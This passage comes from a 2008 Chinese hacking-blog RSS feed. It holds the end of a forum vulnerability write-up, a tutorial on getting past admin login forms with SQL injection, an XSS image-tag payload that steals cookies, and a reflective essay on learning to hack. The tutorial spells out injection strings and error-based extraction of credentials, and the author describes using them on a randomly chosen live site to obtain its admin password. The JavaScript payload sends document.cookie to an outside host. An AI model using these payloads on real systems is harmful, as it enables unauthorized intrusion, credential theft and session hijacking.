Profile监视自己提交的查询语句。&lt;br/&gt;由于论坛的安全性一般都比较高，所以漏洞查找……大多数时间跟大海捞针一样，只有掌握了一些方法的前提下才能在一定程度上简化这个过程。&lt;br/&gt;本文简单给大家说了一下漏洞的发现过程，相对来说还是比较简单的一个。可能是因为BBSXP改版的过程中代码量较大而没有注意到这些细节的问题吧？在更多的时候每一个从客户端接收的变量都要经过几个方法之间的传递之后才会送到数据库里，对于这样的情况发现和测试都是比较困难的。不过万变不离其宗，只要你掌握了方法，多试几次总是可以找到的。你会渐渐的明白，大海捞针也并非不可能。&lt;br/&gt;最后多嘴一句：实际上除了刚才说的漏洞之外还有一个不太显眼的漏洞，你可以尝试着去搜索一下。这个问题就留给大家了，要相信你自己一定会找到的！&lt;br/&gt;&lt;br/&gt;</description><category>[共享]√教程工具</category><pubDate>Fri, 13 Jun 2008 04:07:16 +0800</pubDate><author>mhnf@163.com(网络人生)</author><guid isPermaLink="false">http://www.wwwer.net/cn/default.asp?id=986</guid><dc:creator>mhnf@163.com(网络人生)</dc:creator><fs:srclink>http://www.wwwer.net/cn/default.asp?id=986</fs:srclink><fs:srcfeed>http://www.wwwer.net/cn/feed.asp</fs:srcfeed><fs:itemid>feedsky/wwwer/~6942786/83670260/5050703</fs:itemid></item><item><title>轻松饶过登陆表单</title><link>http://item.feedsky.com/~feedsky/wwwer/~6942786/83670261/5050703/1/item.html</link><description>在脚本&lt;a href=&quot;http://www.wwwer.net/&quot; target=&quot;_blank&quot;&gt;入侵&lt;/a&gt;的过程中，相信每位朋友都面对过表单登陆，特别是管理员后台登陆界面。所以，我今天特别把以前自己在这方面的心得和方法写出来，和大家一起分享。&lt;br/&gt;小知识：表单是用于实现网页浏览者与服务器之间信息交互的一种页面元素，它由表单控件和一般内容组成。它一般包括两个部分：一部分是HTML源代码用于描述表单（例如，域，标签和用户在页面上看见的按钮），另一部分是脚本或应用程序用于处理提交的信息（如CGI脚本）。不使用处理脚本就不能搜集表单数据。表单由文本域、复选框、单选框、菜单、文件地址域、按钮等表单对象组成，所有的部分都包含在一个由标识符标志起来的表单结构中。表单的种类有注册表、留言薄、站点导航条、搜索引擎等。&lt;br/&gt;从大体上来分，如果登陆界面不需要输入验证码的话。我们&lt;a href=&quot;http://www.wwwer.net/&quot; target=&quot;_blank&quot;&gt;入侵&lt;/a&gt;可以分为两类。一种是爆力破解账号，这是一种最原始的&lt;a href=&quot;http://www.wwwer.net/&quot; target=&quot;_blank&quot;&gt;入侵&lt;/a&gt;方法，不过成功的机率不是很大。写一个程序，POST提交表单参数再比较返回的页面，就知道是否正确了。当然，账号和密码是以挂字典的方法来破解的（如小榕的溯雪基本原理就是那样），如果管理员的账号和密码不在字典中，那么就永远破解不出来了。所以一般是在实在没有办法的情况下才会出此下策，成不成功都是看运气成分居多。&lt;a href=&quot;http://www.wwwer.net/&quot; target=&quot;_blank&quot;&gt;入侵&lt;/a&gt;其实是一种实力+运气的最好体现，如何体现自己的&lt;a href=&quot;http://www.wwwer.net/&quot; target=&quot;_blank&quot;&gt;入侵&lt;/a&gt;能力呢？一起来看看下面的第二种方法。&lt;br/&gt;第二种是通过脚本漏洞&lt;a href=&quot;http://www.wwwer.net/&quot; target=&quot;_blank&quot;&gt;入侵&lt;/a&gt;，这是比较精彩的地方。我们先一起来分析一下。&lt;br/&gt;如果脚本存在漏洞，那么我们如果要&lt;a href=&quot;http://www.wwwer.net/&quot; target=&quot;_blank&quot;&gt;入侵&lt;/a&gt;服务器就变得就相对简单一些。登陆表单永远是和数据库紧密的联系在一起的，拿到数据库的账号和密码就可以成功登陆了，而通过注入当然可以拿到账号和密码。这也是一种方法，不过如果要更灵活的运用，我们用不着那么麻烦，来看看最古老的方法吧。&lt;br/&gt;从单引号着手。如果没有过滤单引号，那么我们在账号和密码输入框中输入“’ o&amp;#114; ‘’=’（不包括引号，下同）”，多数情况下可以进入后台（是谁发现这个漏洞的？实在太经典了，让人受益非浅)！为什么说是没有过滤单引号的时候是“多数”情况下可以进入呢？意思是还有少数情况不能进入？对，这也将是我们今天分析的重点。先让大家来看看我的分析吧。GO……&lt;br/&gt;通过“’ o&amp;#114; ‘’=’ ”进入后台，脚本代码是这么写的，看代码：&lt;br/&gt;……&lt;br/&gt;Dim Usernaem，password，sql&lt;br/&gt;username = request。form(“username”)&lt;br/&gt;password = request。form(“password”)&lt;br/&gt;sql = “sel&amp;#101;ct * from admin wh&amp;#101;re username=’”&amp;amp;username&amp;amp;”’ and password=’”&amp;amp;password&amp;amp;”’”&lt;br/&gt;……&lt;br/&gt;直接把表单参数放到数据库中去查询，如果返回不是EOF、BOF，那么登陆就成功，反之不成功。所以我们在账号和密码中输入“ ‘or ‘’=’”放到数据库中去查询，将永远只拿到NOT（EOF o&amp;#114; BOF），也就是永远会存在记录的（除非数据库中没有记录，可能的机会万分之一），当然就顺利进入后台管理了。不过如果脚本不是这么写的，利用这种方法就不会成功。我相信大家一定遇到过这种情况，明明没有过滤单引号，但是利用“’ o&amp;#114; ‘’=’”进不到后台。这种情况就是脚本编写人员的另一种编程思路了。再来看我的分析，还是来先看代码：&lt;br/&gt;……&lt;br/&gt;Dim Usernaem，password，sql&lt;br/&gt;username = request。form(“username”)&lt;br/&gt;password = request。form(“password”)&lt;br/&gt;sql = “sel&amp;#101;ct password from admin wh&amp;#101;re username=’”&amp;amp;username&amp;amp;”’”&lt;br/&gt;rs。open sql，conn，1，1&lt;br/&gt;if ont (rs.eof o&amp;#114; rs.bof) then&lt;br/&gt;if rs(“password”)=password then &lt;br/&gt;……登陆成功&lt;br/&gt;end if&lt;br/&gt;end if&lt;br/&gt;……&lt;br/&gt;看完了代码，你应该明白其中的思路了吧？脚本编写人员先在数据库中去查找表单中提交的用户名，找到后再把数据库中的密码和表单中提交的密码相比较，如果表单中输入的密码和数据库中的密码相同，那么就登陆成功。&lt;br/&gt;面对这种情况，我们也是有办法的。想想表单参数中的账号参数是没有过滤单引号的，那么我们输入“‘ o&amp;#114; ‘’=’”会找到一条记录。脚本会取回找到的这条相应记录的密码再和我们输入的密码进行比较，现在我们关键就是不知道密码是多少了！用“’or ‘’=’”永远是取的数据库的第一条记录，我们可以改变他的顺序取到我们想要的记录！看下面的一个表：&lt;br/&gt;----------------------+-------------------，&lt;br/&gt;username password&lt;br/&gt;----------------------+------------------&lt;br/&gt;Test 123456&lt;br/&gt;admin admin123&lt;br/&gt;ms mszr&lt;br/&gt;…… ……&lt;br/&gt;上面是管理员表的记录，采用“’or ‘’=’”取得的是第一条记录，如果我们在账号中输入“‘ o&amp;#114; password=’admin123’ and ‘’=’”，如果密码是正确的得到的相应记录就是第二条记录，再在密码中输入admin123我们就成功的进入了后台。不过这样做的前提是知道了密码，对于我们来说也有一定的困难，但是这也是一种思路，比如对方如果采用MSSQL数据库我们就有机会拿到他的密码，让我们把密码给他爆出来吧。来，在账号中输入“‘ and password&amp;gt;1 and ‘’=’”，通过爆字段值的方法，在IE中就返回了密码的值。现在有了密码就可以通过上面的方法进入了。再来换个思路，我们一样可以拿到账号名字，上面已经拿到密码了，现在我们就来拿他的账号吧，一样通过爆字段的方法来拿。输入“‘ o&amp;#114; password=’admin123’ and username&amp;gt;1 and ‘’=’”，在IE中爆出了账号，这样账号也就拿到了。有了账号和密码我们就可以名正言顺地进入后台了！&lt;br/&gt;上面我们分析了一大把，现在是时候让我们来消化消化了，多吃不消化可不是学习的好方法。在网上找个登陆入口吧，随便找了一个，我在用户名和密码中先分别输入单引号。&lt;br/&gt;看到上面的提示，大家应该知道这是没有过滤单引号的情况下返回的错误信息，再进一步看看是哪个参数没有过滤。我现在只在账号中输入单引号，密码不输入，返回同样的结果。证明至少表单中的账号参数是没有过滤的。再来看看表单中密码参数是否过滤了，我现在在账号中输入1234，密码中输入一个单引号。返回用户名不存在的提示。&lt;br/&gt;证明密码字段是过滤的，要不然就是根本没有放到数据库中去查询。 &lt;br/&gt;小提示：一般说来账号没有过滤，密码也不会过滤，很多实际的情况下是先到数据库中去取回相应账号的密码，再进行比较。&lt;br/&gt;&lt;br/&gt;就按照第二种方法的思路，我们先拿一个密码吧。密码字段是多少？80%都可以猜到的。先看看网页表单的源代码，看看那个密码框的名字“name=password”试试“password”，在账号中输入“’ and password&amp;gt;1 and ‘’=’”，提示“password”不是有效的字段名，看来不是这个，换换常用的试试“userpassword”，输入“’ and userpassword&amp;gt;1 and ‘’=’”，好了，爆出密码竟然是：“fuckusa（呵呵，很爱国啊！我绝不会黑了它，测试好我就闪人，随便给管理员写封EM，提醒下注意安全）”，现在我们来拿账号吧，在账号框中输入“’ o&amp;#114; userpassword=’fuckusa’ and username&amp;gt;1 and ‘’=’”直接爆出账号了，证明我们字段名是猜对的。账号是“admin”，现在我们拿着账号的密码来登陆吧！OK，成功返回管理页面。&lt;br/&gt;</description><category>[共享]√教程工具</category><pubDate>Thu, 12 Jun 2008 04:04:35 +0800</pubDate><author>mhnf@163.com(网络人生)</author><guid isPermaLink="false">http://www.wwwer.net/cn/default.asp?id=984</guid><dc:creator>mhnf@163.com(网络人生)</dc:creator><fs:srclink>http://www.wwwer.net/cn/default.asp?id=984</fs:srclink><fs:srcfeed>http://www.wwwer.net/cn/feed.asp</fs:srcfeed><fs:itemid>feedsky/wwwer/~6942786/83670261/5050703</fs:itemid></item><item><title>利用Ajax方式盗取Cookies</title><link>http://item.feedsky.com/~feedsky/wwwer/~6942786/83670262/5050703/1/item.html</link><description>一个简单的httprequest声明以及提交的过程&lt;br/&gt;&lt;br/&gt;&amp;lt;img src=&amp;#34;javascript: &lt;br/&gt;//这里先要把XMLHttpRequestObject设置为false来验证声明httprequest时是否为true&lt;br/&gt;var XMLHTTPRequestObject = false;&lt;br/&gt;if (window.XMLHttpRequest)&lt;br/&gt;{&lt;br/&gt;XMLHttpRequestObject = new XMLHttpRequest();&lt;br/&gt;}&lt;br/&gt;else if(window.ActiveXObject)&lt;br/&gt;{&lt;br/&gt;XMLHttpRequestObject = new ActiveXObject(&amp;#34;Microsoft.XMLHTTP&amp;#34;);&lt;br/&gt;}&lt;br/&gt;else&lt;br/&gt;{&lt;br/&gt;alert(&amp;#34;Javascript must be enabled to continue.&amp;#34;);&lt;br/&gt;}&lt;br/&gt;function socket()&lt;br/&gt;{&lt;br/&gt;//下面这行将非常重要.注意cookies是以参数的形式进行提交的&lt;br/&gt;&lt;br/&gt;XMLHttpRequestObject.open(&amp;#39;GET&amp;#39;, &amp;#39;&lt;a href=&quot;http://www.site.com/privatemessage.php?&quot; target=&quot;_blank&quot;&gt;http://www.site.com/privatemessage.php?&lt;/a&gt;&lt;br/&gt;user=yourusername&amp;amp;subject=&amp;#39; + window.document.cookie, true);&lt;br/&gt;XMLHttpRequestObject.setRequestHeader(&amp;#34;Content-Type&amp;#34;, &amp;#34;application/x-www-form-urlencoded&amp;#34;);&lt;br/&gt;XMLHttpRequestObject.send(null);&lt;br/&gt;//这句执行完，我们就可以放下心来了。&lt;br/&gt;del&amp;#101;te XMLHttpRequestObject;&lt;br/&gt;}&lt;br/&gt;//不要忘记这是一张图片，所以我们必须关闭标签&lt;br/&gt;window.document.onload=&amp;#39;socket();&amp;#39;&amp;#34;&amp;gt; &lt;br/&gt;&lt;br/&gt;</description><category>[脚本]√飘零代码</category><pubDate>Wed, 11 Jun 2008 04:02:34 +0800</pubDate><author>mhnf@163.com(网络人生)</author><guid isPermaLink="false">http://www.wwwer.net/cn/default.asp?id=983</guid><dc:creator>mhnf@163.com(网络人生)</dc:creator><fs:srclink>http://www.wwwer.net/cn/default.asp?id=983</fs:srclink><fs:srcfeed>http://www.wwwer.net/cn/feed.asp</fs:srcfeed><fs:itemid>feedsky/wwwer/~6942786/83670262/5050703</fs:itemid></item><item><title>黑客之路</title><link>http://item.feedsky.com/~feedsky/wwwer/~6942786/82783807/5050703/1/item.html</link><description>在一个朋友那转来的，写的很好！老风我发这了你别骂我！&lt;br/&gt;&lt;br/&gt;错，错就错在立志学黑客，学什么不好，非要搞黑？ &lt;br/&gt;&lt;br/&gt;学电脑没错，学硬件没错，学软件也没错，图形美工更没错……错就错在学黑客。 &lt;br/&gt;&lt;br/&gt;黑客？传说中的计算机行业的最精之英了……那意味着什么？意味着放弃。 &lt;br/&gt;&lt;br/&gt;从电子网络专业到偷偷学习黑客，已经七年整了，其中辛酸愁苦只有个人知晓。 &lt;br/&gt;&lt;br/&gt;1.至少精通2个操作系统 &lt;br/&gt;&lt;br/&gt;从windows操作，管理，工具使用，安全配置，到系统内幕，底层驱动这需要多少时间……？ &lt;br/&gt;&lt;br/&gt;从linux的基本操作，到去睹shellcode，联系到bsd/其他unix系统，这又需要多少时间……？ &lt;br/&gt;&lt;br/&gt;2.至少精通一门程序&lt;br/&gt;&lt;br/&gt;从c语言到c++，数据结构，算法（加密解密），单单这些，又需要多少时间……？&lt;br/&gt;&lt;br/&gt;而且不排除网络程序，从perl学到php，asp，jsp又是热门，能不学吗？光这些，又需要多少时间……？ &lt;br/&gt;&lt;br/&gt;3.图形美工&lt;br/&gt;&lt;br/&gt;作为hacker，当然要精通pc行业里的绝大多数东西了,从最底层的html，到flash，这些学习要多少时间……？&lt;br/&gt;&lt;br/&gt;而且偏又碰到我这刁钻爱美的人，能做到真正的赏心悦目又需要多少时间……？单单这些，深点呢，dx，3dmax，玛雅……这些又都是需要一辈子去学习的东西……？ &lt;br/&gt;&lt;br/&gt;4.硬件&lt;br/&gt;&lt;br/&gt;装pc算不算难？……需要多少时间？换服务器呢？……？多少时间？故障排除处理呢？这需要多少时间和经验……？ &lt;br/&gt;&lt;br/&gt;5.破解 &lt;br/&gt;&lt;br/&gt;单单一门汇编，学好需要多少时间？外加破解呢，又需要多少时间？…… &lt;br/&gt;&lt;br/&gt;6.数据库&lt;br/&gt;&lt;br/&gt;从mssql……mysql……oracle单单这几个数据库需要多少时间……？other……够了！！！！！ &lt;br/&gt;&lt;br/&gt;能学懂这些我承认，你已经老大的了不得了，可这些只是学黑客之路的一小部分而已……，而且，我们需要的是学精通，不仅仅是懂。 &lt;br/&gt;&lt;br/&gt;传说中的黑客是很cool很有“钱”途的一群家伙，可技术归技术，肚子归肚子…… &lt;br/&gt;&lt;br/&gt;有谁，什么部门无聊到养活一些吃白饭的黑客？于是…… &lt;br/&gt;&lt;br/&gt;跑路，找人介绍工作，做工程，参加培训……工资低的可怜，房租都交不起。电费另算，肚子都哄不饱，哪儿有他吗的兴趣搞黑客？ &lt;br/&gt;&lt;br/&gt;电视中的黑客都是小资到白领，日子过的舒服，唯一烦恼大约便是爱情，试问有哪个黑客能在学习完上面那些东西?&lt;br/&gt;&lt;br/&gt;还有时间去泡mm，穿白领？爱情？这两个字大约都是传说中的东西吧，搞技术的人，有几个懂风花雪月的，有几个有时间的？ &lt;br/&gt;&lt;br/&gt;记得一次看电视剧，满有意思的是国内某帅哥（陆毅）的一部爱情剧吧，故事满好，2公司在一层楼上。一个搞房地产，外一个搞网站。&lt;br/&gt;&lt;br/&gt;一个mm多（推销嘛），外一个老爷们多（混日子），有mm和bb集中的地方，当然关于if mm that bb这类的输出会有好多 于是，故事开始，…… &lt;br/&gt;&lt;br/&gt;我讲的并不是这个故事，而是其中一个细节，网络公司有bb和地产公司的mm吵架，很是不服气，传说中的一个高手（诞生于上海)&lt;a href=&quot;http://www.wwwer.net/&quot; target=&quot;_blank&quot;&gt;入侵&lt;/a&gt;开始......&lt;br/&gt;&lt;br/&gt;（我可没鼓励你&lt;a href=&quot;http://www.wwwer.net/&quot; target=&quot;_blank&quot;&gt;入侵&lt;/a&gt;，如果你能成功，你牛，认你老大） &lt;br/&gt;&lt;br/&gt;平台：windows98 &lt;br/&gt;&lt;br/&gt;工具：telent &lt;br/&gt;&lt;br/&gt;漏洞？？？？？？？？？？？？什么东西？ &lt;br/&gt;&lt;br/&gt;测试方法： &lt;br/&gt;&lt;br/&gt;telnet 到对方98下（居然2个都是modem），有email的前提下，test密码，测试方法很有意思：名字=密码，测试成功。……控制成功（怎么做的？我不会） &lt;br/&gt;&lt;br/&gt;惊讶： &lt;br/&gt;&lt;br/&gt;被&lt;a href=&quot;http://www.wwwer.net/&quot; target=&quot;_blank&quot;&gt;入侵&lt;/a&gt;的98系统，类似有GUI的木马似的，鼠标打开一个画板：大大写了2个字：傻瓜…… &lt;br/&gt;&lt;br/&gt;思考：汗，黑客就是牛，98这种单用户系统也能用telnet&lt;a href=&quot;http://www.wwwer.net/&quot; target=&quot;_blank&quot;&gt;入侵&lt;/a&gt;，而且居然没有任何工具情况下，有类似木马的功能？ &lt;br/&gt;&lt;br/&gt;高手……，商业中抄作的黑客真的很牛x……（如果我是那个bb该多好，技术太牛了，98也能那样&lt;a href=&quot;http://www.wwwer.net/&quot; target=&quot;_blank&quot;&gt;入侵&lt;/a&gt;^-^） &lt;br/&gt;&lt;br/&gt;要知道黑客研究的可不仅仅是&lt;a href=&quot;http://www.wwwer.net/&quot; target=&quot;_blank&quot;&gt;入侵&lt;/a&gt;，更多是防御，加固系统，内核…… 哦，如果你不想那么深入夸大，请问：简单&lt;a href=&quot;http://www.wwwer.net/&quot; target=&quot;_blank&quot;&gt;入侵&lt;/a&gt;+渗透+经验+写*****，光这些需要多少时间?&lt;br/&gt;&lt;br/&gt;学会这些能干些什么？---------------最大可能：进班房！ &lt;br/&gt;&lt;br/&gt;网络上，关于黑客的介绍太多太多了，可怎么做到一个黑客，却没有人教我们，告诉我们？更多的是思考，时间…… &lt;br/&gt;&lt;br/&gt;请问： &lt;br/&gt;&lt;br/&gt;黑客，这2个字，你思考过吗？下过多少时间？多少工夫？ &lt;br/&gt;&lt;br/&gt;我的一些感受： &lt;br/&gt;&lt;br/&gt;虽然是短短的7年时间，可感觉却是一辈子那么漫长，……为了这2个字，我扔掉了多少个方便面箱子，吃了多少个烧饼？&lt;br/&gt;&lt;br/&gt;（哪儿有钱呀，有钱人---特指：10-30的年纪，有人学黑客，我靠，在哪儿，我都没听说过） &lt;br/&gt;&lt;br/&gt;错过了多少传说中的爱情故事？垮了多少次的身体，熬多少个晚上（通宵）……看着朋友们的身边都伴着小鸟依人的mm！那心情我想你也懂， &lt;br/&gt;&lt;br/&gt;再让你试一试，坐在电脑旁边几天几夜，是什么感觉，任何正常人都会有发疯的感觉？不发疯？那我佩服你，请你当我心理医生吧!&lt;br/&gt;&lt;br/&gt;为了pc，我失去的太多，没有得到吗？当然有，可仅仅是成功的一刻而已！毕竟，比起我们生活外面的世界……少多少？ &lt;br/&gt;&lt;br/&gt;而且，写出东西也只是圈子内的人看/用，圈子外的世界有多少人承认你？就算你是中国第一黑客（&lt;a href=&quot;http://www.wwwer.net/&quot; target=&quot;_blank&quot;&gt;入侵&lt;/a&gt;技术），一个MBA站在你身边，我想他还是会看不起你 &lt;br/&gt;&lt;br/&gt;在此，我想劝劝那些还在偷qq号码的哥们，没有学黑客以前，你不要进这个圈子，学了呢，尽你最大努力，做不好也没关系。劝大家学黑客以前更多一点时间去思考……&lt;br/&gt;&lt;br/&gt;我不劝大家放弃，只是要大家仔细的去走这条路，实话：曾经有份非常好的专业让我选择，可我没有好好珍惜，知道失去才后悔莫及，如果上天能再给我一次机会的话，&lt;br/&gt;&lt;br/&gt;我一定不去碰电脑，更不去学什么黑客......&lt;br/&gt;&lt;br/&gt;</description><category>[网摘]√网景天下</category><pubDate>Tue, 10 Jun 2008 01:26:29 +0800</pubDate><author>mhnf@163.com(网络人生)</author><guid isPermaLink="false">http://www.wwwer.net/cn/default.asp?id=980</guid><dc:creator>mhnf@163.com(网络人生)</dc:creator><fs:srclink>http://www.wwwer.net/cn/default.asp?id=980</fs:srclink><fs:srcfeed>http://www.wwwer.net/cn/feed.asp</fs:srcfeed><fs:itemid>feedsky/wwwer/~6942786/82783807/5050703</fs:itemid></item></channel></rss>